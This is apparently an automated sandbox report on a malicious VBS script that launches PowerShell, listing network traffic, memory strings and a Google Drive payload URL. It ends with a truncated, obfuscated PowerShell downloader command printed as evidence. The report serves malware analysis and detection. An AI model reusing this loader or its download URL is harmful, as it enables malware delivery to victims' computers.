ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AD-8ljt1RjSv6hgWhcRactfyOsekMzQoC07JjKpaABR2hR8xVe1RT2GaqfvZpggRr918ay4YGoq842yUKAServer: UploadServerSet-Cookie: NID=517=TYYrH7PW08eA_e5U2OuC4zmekvTUxL9y9Z0hSYlicR1c__kVJQs5xULdovxIj3IMXPMi_rdS8LNeC_fCziXbKGAjzcMEW4yG8zarYR9db8593BfYRuwpe5m1rfnmNFR8-YVfvaeNQ2W03vkoB6kiM4lLNwH7YtVvhCXyrPd0UQxAzsyZ3d0; expires=Wed, 02-Apr-2025 05:45:42 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=noneAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Tue, 01 Oct 2024 05:45:48 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Content-Security-Policy: script-src 'report-sample' 'nonce-_i0DtfREUVVlSIbKtp4JLA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652X-GUploader-UploadID: AD-8ljtljf0Ewfhqytx9iVo7nmtP2yYDqdRfk7K-KlU9Y2zyHbcMNuBPlWiupVMk9e0Ipjdkp8Lla0uERAServer: UploadServerSet-Cookie: NID=517=ayNybyF5N2eBPQYwkElV42dGDAo7dQDQxiFHFSICxvzYeUHQ8Auvb772g32F6tMuhU37CAI3kwDYH70R6YO3RPT0tciihaowI_fgJk0hB8bBGjogaqzZOxwWUoixwbKaXp4mZtGQuSZMsktz1QUq2laaEbkFMssVx1YBcZsGm_RpJq13Zw; expires=Wed, 02-Apr-2025 05:45:48 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close

Source: wscript.exe, 00000000.00000003.1718339085.000001DC5CAA0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1719163509.000001DC5CAAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRoot
Source: wscript.exe, 00000000.00000003.1698462624.000001DC5CCF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: wscript.exe, 00000000.00000003.1718339085.000001DC5CAA0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1718762752.000001DC5CAC0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1698462624.000001DC5CCF8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1698486019.000001DC5CADA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1719184508.000001DC5CAC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: wscript.exe, 00000000.00000003.1718339085.000001DC5CAA0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1698462624.000001DC5CCF8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1698486019.000001DC5CADA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1719163509.000001DC5CAAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: wscript.exe, 00000000.00000003.1718339085.000001DC5CAA0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1698462624.000001DC5CCF8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1719163509.000001DC5CAAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: wscript.exe, 00000000.00000003.1718339085.000001DC5CAA0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1719163509.000001DC5CAAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTruste
Source: wscript.exe, 00000000.00000003.1718339085.000001DC5CAA0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1718762752.000001DC5CAC0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1698462624.000001DC5CCF8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1698486019.000001DC5CADA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1719184508.000001DC5CAC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: wscript.exe, 00000000.00000003.1698462624.000001DC5CCF8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1698486019.000001DC5CADA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: wscript.exe, 00000000.00000003.1718339085.000001DC5CAA0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1719163509.000001DC5CAAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en$
Source: wscript.exe, 00000000.00000003.1718339085.000001DC5CAA0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1718762752.000001DC5CAC0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1719184508.000001DC5CAC5000.00000004.00000020.00020000.00000000.sdmp, 77EC63BDA74BD0D0E0426DC8F80085060.0.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: wscript.exe, 00000000.00000003.1718339085.000001DC5CAA0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1718762752.000001DC5CAC0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1719184508.000001DC5CAC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabE
Source: wscript.exe, 00000000.00000003.1708284459.000001DC5CB05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com:80/msdownload/update/v3/static/trustedr/en/authrootstl.cab?37763f6d4a
Source: powershell.exe, 00000001.00000002.2992339914.000001ADD0EC9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD10D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD181E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0221000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD03BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0979000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD057A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0D28000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0FC9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD14E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0F85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0D8D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADCFE7D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADCFE8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0E2D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD07A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://drive.google.com
Source: powershell.exe, 00000001.00000002.2992339914.000001ADD10D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD181E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD151F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD03BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0979000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD057A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0D8D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADCFE8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD07A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://drive.usercontent.google.com
Source: powershell.exe, 00000001.00000002.3009017913.000001ADDF913000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.3009017913.000001ADDFA56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: wscript.exe, 00000000.00000003.1718339085.000001DC5CAA0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1698462624.000001DC5CCF8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1698486019.000001DC5CADA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1719163509.000001DC5CAAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: wscript.exe, 00000000.00000003.1718339085.000001DC5CAA0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1698462624.000001DC5CCF8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1719163509.000001DC5CAAA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: wscript.exe, 00000000.00000003.1718339085.000001DC5CAA0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1718762752.000001DC5CAC0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1698462624.000001DC5CCF8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1698486019.000001DC5CADA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1719163509.000001DC5CAAA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1719184508.000001DC5CAC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: powershell.exe, 00000001.00000002.2992339914.000001ADCFAC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.2992339914.000001ADCF8A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000001.00000002.2992339914.000001ADCFAC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000001.00000002.3013440346.000001ADE7FC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.
Source: powershell.exe, 00000001.00000002.2992339914.000001ADCF8A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000001.00000002.2992339914.000001ADD14E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: powershell.exe, 00000001.00000002.3009017913.000001ADDFA56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000001.00000002.3009017913.000001ADDFA56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000001.00000002.3009017913.000001ADDFA56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000001.00000002.2992339914.000001ADD1135000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.googP
Source: powershell.exe, 00000001.00000002.2992339914.000001ADD181E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.googPBjN
Source: powershell.exe, 00000001.00000002.2992339914.000001ADD057A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0D28000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0FC9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0F85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0D8D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD1135000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADCFE7D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADCFE8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0E2D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD07A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD08F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com
Source: powershell.exe, 00000001.00000002.2992339914.000001ADCFAC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94P
Source: powershell.exe, 00000001.00000002.2992339914.000001ADD150D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.googh
Source: powershell.exe, 00000001.00000002.2992339914.000001ADD181E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.googhZ
Source: powershell.exe, 00000001.00000002.2992339914.000001ADD181E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADCFD99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD150D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADCFD32000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADCFE8E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com
Source: powershell.exe, 00000001.00000002.2992339914.000001ADD10D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD03BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0979000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD057A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0D8D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD07A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com(
Source: powershell.exe, 00000001.00000002.2992339914.000001ADD0EC9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0782000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD10D7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADCFD41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0775000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD181E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADCFD3A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0221000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADCFD99000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD03BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0979000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADCFD7C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0786000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD150D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD096E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0C93000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0974000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD057A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADCFD95000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0D28000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.2992339914.000001ADD0761000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1OQEl7UGOyKsPdRJ91gwqoIVNNRs6PV94&export=download
Source: powershell.exe, 00000001.00000002.2992339914.000001ADCFAC6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000001.00000002.3009017913.000001ADDF913000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.3009017913.000001ADDFA56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000001.00000002.2992339914.000001ADD14E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: powershell.exe, 00000001.00000002.2992339914.000001ADD14E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: powershell.exe, 00000001.00000002.2992339914.000001ADD14E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: powershell.exe, 00000001.00000002.2992339914.000001ADD14E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: powershell.exe, 00000001.00000002.2992339914.000001ADD14E6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 142.250.184.238:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.193:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.193:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.142:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.184.193:443 -> 192.168.2.4:49763 version: TLS 1.2

System Summary

Potential malicious VBS script found (suspicious strings)

Source:

Initial file: Call ationsvejledninger.ShellExecute(Endovenous, Coraled, "", "", Cheddite)

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#selvhrdendes Opdrager Hjremarginerne Dundertaler #>;$Usolidere43='Councilmen';<#Herredmmer Plasmagenic Jdindernes suttene Korjambisk decelerationsbanen Udskejelser #>;$Dimit=$host.PrivateData;If ($Dimit) {$Pantagraphic++;}function doublecrossing($spisevgringer253){$Driftsbesparelse=$Gucki+$spisevgringer253.Length-$Pantagraphic;for( $Crunchingly=3;$Crunchingly -lt $Driftsbesparelse;$Crunchingly+=4){$Nikeno+=$spisevgringer253[$Crunchingly];}$Nikeno;}function tramelling($Perhapses){ & ($boligydelsen) ($Perhapses);}$sortkldt=doublecrossing 'talM ,fospazLociDatls il Kna D,/Asy5 ke.Ind0Res Lo,(svaW oiHornfordf noanswA ss sm CoN,jrT s. Art1Epa0so,.vet0,ie;P r shoWpasi enA.y6D g4Hav;C b seexLtr6De 4 lo;Mis oerChev ,r: Ud1Ans2tra1Fer.Ri.0Unl)Les ChaG FrestocNe kUndo Ar/sor2Mur0.au1Lok0 F 0Zef1Pso0 Do1 Pr IdFEmiiVenrTegeModf umocanx a/E.i1Out2Ung1Mos. n0 A. ';$Panservaaben=doublecrossing ' s UDiss PaE AsR.lt- Unap lGTapeBjlnOlet r ';$Encheson=doublecrossing 'Gyrh aatP ntPespKnas Ti:Beh/ i/Le d T.rFrai RevFrieImp. s g Inosl.oMosg Jal steHys.RencAngomidmUn,/ vuPercWhe? Kne ndx stp ero rrct tplu=Pred H,ostiwpannsy,lIm oBriaEssd il&KaliF,idE f=h s1LanO DuQTyrEB rlAcc7OveU ,aGsulOPipyUncKsids VaPDecd ,aR npJ Gr9Dis1 eng L wH mqst os,rI ifV T NLinNindRLinsJea6stiPOmbVFur9 ti4Bri ';$Dioxid=doublecrossing ' s.>Fib ';$boligydelsen=doublecrossing 's aistoeAppxs m ';$Manducation='springklaps';$Drinksenes='\Paralytical.Nap';tramelling (doublecrossing 'Otu$Ar gstjl,hooEf.bCl,aCavlBev:Gerc R o Fiu RinepotsaceCamrEvaaLnorBregGr u eelimsVis=Egy$WooeJ.nn olvs l:MedaDmppTw.pPred aaasyrtMaravu.+ yk$ M DHipr eliKilnpeakskasNonepitnPhaeTilsFur ');tramelling (doublecrossing ',or$sozg emlD ro KebA taUnilPra:AcrsI vtImpyG,irE otBindManyRookFa kU ceButr Ln=Pol$ AtEAman.ykcBilhIndes.hsKeeoJobn Pa.Tyns ekpsy,lsleiAb tHav(Bil$ svD.eyiUngoCruxPleiDord To) sc ');tramelling (doublecrossing 'Maw[DifNCamestrtTer.kilsV,le sir Mev FaiBescDaweFerPTheoHypiUndnso.tNskM s.a M ns,maspegsameRidr K ] a: on:Na.sdove ApcHabuPa.r ,riJart apyskuPst,rA coskatA koF,lcAn o NelNon n= Nu kv[ ndNR aeQuatCo . VasPite BacstousynrA gisartLgtyOplPNerrTrao TrtBndoGlucHe oCyclAlaTR gyEkspsa e d]Avo:F r: phTNonlMarsP,e1s o2Idi ');$Encheson=$styrtdykker[0];$Northwardly=(doublecrossing ' Ou$sogGs mLPlaONonBTerAGlaL Or:steLIntIs oGUn H ktT p,a MtGForesl.6 Ma8s,v=optnAarE BawPar-TheostaBMilJIfaE HoC UvTnon EarsF rYLa.s.potFeeED lMHov.DelNK aE untFor.OvewJonEA,sbOplCGelL KeIsenePs nAndT sp ');tramelling ($Northwardly);tramelling (doublecrossing ' Cr$DiaLRe iDkfgL phEmutAfkaRidgEnfeFre6Til8Cir.MarHOvaePa asa.dVapestar sesFag[ un$ConPToraVo n D sBl eConrP lv TuaRa ashob Ade AnnCem].as= p$At s Kao.ntrPhotFikky pltrid K tMis ');$semicolloquially=doublecrossing ' F $.oaLHlei N gRovhReitMi as ng PreBad6Ur.8Fum.strDTypo Prwsydn rulozooAu aFerdan FBetiB ml beeMyo(Pse$ onEOffn Unc mohI
